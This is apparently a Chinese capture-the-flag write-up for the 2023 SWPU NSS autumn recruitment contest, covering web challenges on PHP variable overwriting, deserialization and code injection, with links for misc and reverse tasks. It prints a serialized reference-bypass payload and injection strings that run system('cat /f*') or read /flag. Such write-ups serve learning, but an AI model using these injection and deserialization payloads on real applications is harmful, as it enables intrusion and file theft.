2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup

简介: 2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup

非常的没有灵魂:

Pingpingping

这题需要恶补以下非法传参的PHP问题:

还有一些数组绕过问题:

backup

这题没啥可说了,反序列化之前也专门练过了。。。

hint有提示备份文件,直接访问www.zip,可以得到源代码

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){  
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}

看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

然后在反序列化的时候采取引用绕过的方式,exp如下

<?php

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
# O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
NSS大卖场
if_else
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

这题的payload应该多种多样,如下都可:

check=11==11){ system(‘cat /f*’);} /*

1) {
            echo file_get_contents('/flag');
          } elseif (1


Misc

关于压缩包伪加密的相关问题_rar伪加密改24字节后依然打不开-CSDN博客

WD code

看看这个ps处理的二维码:关于一张处理过的二维码图,如何还原。? - 知乎 (zhihu.com)

奇妙的探索之旅

文章列表 | NSSCTF

Reverse

2023年SWPU NSS 秋季招新赛 CTF Reverse‘方向WP详解-CSDN博客

哇偶,这里竟然还有游戏逆向的内容,少见,引入一片大佬文章:

奇安信攻防社区-浅谈CTF中的unity游戏逆向 (butian.net)

引入原话

unity主要可以看成两类,dll游戏和libil2cpp游戏,dll游戏比较简单,其核心代码都在 game/assets/bin/data/Managed/Assembly-CSarp.dll这个 dll 文件中

相关文章
|
Python
Python中遇到奇怪的错误ValueError: bad marshal data
不是代码出的问题,是*.pyc文件被改动了。解决方法,删除所有*.pyc文件再运行
5181 0
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9-2):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
|
存储 Java API
Android期末项目 新闻APP的设计与实现(一)
Android期末项目 新闻APP的设计与实现
679 0
|
Shell
[NISACTF 2022]ezpie- 入土为安的第十五天
[NISACTF 2022]ezpie- 入土为安的第十五天
266 0
|
SQL 安全 关系型数据库
[SWPUCTF 2021 新生赛]easy_sql
[SWPUCTF 2021 新生赛]easy_sql
743 0
|
存储 Java API
Mac安装jadx并配置环境
Mac安装jadx并配置环境
1681 0
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
857 1
|
安全 网络安全 数据安全/隐私保护
【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
1219 0
|
程序员
Win10秘笈:两种方式修改网卡物理地址(MAC)
每台能够上网的电脑都有网卡,不管是有线还是无线,网卡本身都得有物理地址,也就是MAC(Media Access Control 或 Medium Access Control)地址。
6397 0